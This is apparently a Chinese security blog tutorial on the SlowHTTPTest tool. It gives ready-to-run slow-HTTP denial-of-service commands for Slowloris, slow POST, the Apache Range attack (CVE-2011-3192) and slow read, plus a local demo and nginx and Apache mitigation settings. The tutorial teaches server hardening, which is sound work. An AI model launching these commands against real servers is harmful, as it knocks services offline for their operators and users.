本文旨在介绍网络安全相关知识,坚决反对一切危害网络安全的行为。造成法律后果自行负责!

关于

全测试中,DDoS 测试是绕不开的一环。传统的高并发洪水测试(如 SYN Flood、UDP Flood)容易被防火墙和流量清洗设备识别。而 SlowHTTPTest另辟蹊径——它不追求流量大,而是通过慢速发送不完整的 HTTP 请求,耗尽服务器连接池,最终让服务器无法响应正常用户。
这种方式也被称为 慢速HTTP拒绝服务(Slow HTTP DoS)。

安装

Kali Linux 自带 slowhttptest,直接安装即可:
sudo apt update
sudo apt install slowhttptest其他 Linux 发行版也可通过编译源码安装:
git clone https://github.com/shekyan/slowhttptest.git
cd slowhttptest
./configure
make
sudo make install验证安装:
slowhttptest -h

了解四种模式

SlowHTTPTest 提供四种测试模式,核心思路都是:建立连接后,不发完请求。
也就是大名鼎鼎的 Slowloris 。建立 TCP 连接后,发送不完整的 HTTP 请求头,然后每隔一段时间发送一个随机的 Header 字段,让服务器一直等待请求结束,直到连接池耗尽。
slowhttptest -H -u http://192.168.1.100/ -c 1000 -i 10 -l 300
参数说明:
-c 1000 — 目标连接数 1000-i 10 — 每 10 秒发送一次保持数据-l 300 — 测试持续 300 秒也叫 R-U-Dead-Yet(RUDEY)。先发送完整的 POST 请求头,告诉服务器 Content-Length 很大,然后以极慢的速度发送 Body 数据。服务器会一直等待接收完整个请求体。
slowhttptest -B -u http://192.168.1.100/ -c 500 -i 5 -l 240还可以控制 Content-Length 的大小和每次发送的字节数:
slowhttptest -B -c 500 -i 3 -s 8192 -x 10 -u http://192.168.1.100/-s 8192 — 声明 Content-Length 为 8192 字节-x 10 — 每次发送随机数据最大 10 字节就是 Apache Killer。利用 HTTP Range 头漏洞(CVE-2011-3192),发送多个重叠的范围请求,让服务器在内存中反复重载同一份数据,导致 CPU 和内存耗尽。
slowhttptest -R -u http://192.168.1.100/ -c 200 -a 5 -b 2000 -l 180-a 5 — Range 起始偏移-b 2000 — Range 结束偏移上限建立正常 HTTP 请求后,在读取响应数据时故意只读一点点,窗口开得很小,强迫服务器保持大量缓存等待发送。
slowhttptest -X -u http://192.168.1.100/ -c 500 -w 1 -y 64 -z 2 -l 120-w 1 — 窗口大小下限(字节)-y 64 — 窗口大小上限(字节)-z 2 — 每次 read() 只读 2 个字节
小试牛刀

让我用本地环境演示一下效果。
先启动一个 Nginx 服务作为靶机(或者用 Python 起个临时 HTTP 服务):
# 终端1:启动靶机
python3 -m http.server 8080# 终端2:发起 Slow Headers
slowhttptest -H -c 500 -i 5 -l 60 -u http://127.0.0.1:8080/在此期间观察靶机的连接状态,你会发现连接数飙升,而这些连接都处于 ESTABLISHED 但半死不活的状态。
配合 -g 参数生成 HTML 统计报告,更直观地看到测试效果:
slowhttptest -H -g -o slowhttp_report -c 500 -i 5 -l 60 -u http://127.0.0.1:8080/
生成的 slowhttp_report.html 可以直接在浏览器中打开,查看连接状态变化曲线。

防御方案

既然说攻,那也得说防。针对 Slow HTTP DoS ,常见的缓解措施:
# 限制请求超时
client_body_timeout 10s;
client_header_timeout 10s;
# 限制请求体大小
client_max_body_size 1k;
# 限制连接速率
limit_req_zone $binary_remote_addr zone=slow:10m rate=10r/s;
limit_req zone=slow burst=20 nodelay;# 加载 mod_reqtimeout 模块
LoadModule reqtimeout_module modules/mod_reqtimeout.so
<IfModule reqtimeout_module>
RequestReadTimeout header=10-20,MinRate=500
RequestReadTimeout body=10-20,MinRate=500
</IfModule>
其他建议


小结

SlowHTTPTest 是一款轻量但威力强大的慢速测试工具。与传统的流量洪水不同,它依靠的是协议特性的巧妙利用——只要服务器在超时设置上存在缺陷,几十条慢速连接就能让一台服务器瘫痪。作为安全从业者,理解这些原理,才能更好地加固自己的服务器。知己知彼,百战不殆。
更多精彩文章 欢迎关注我们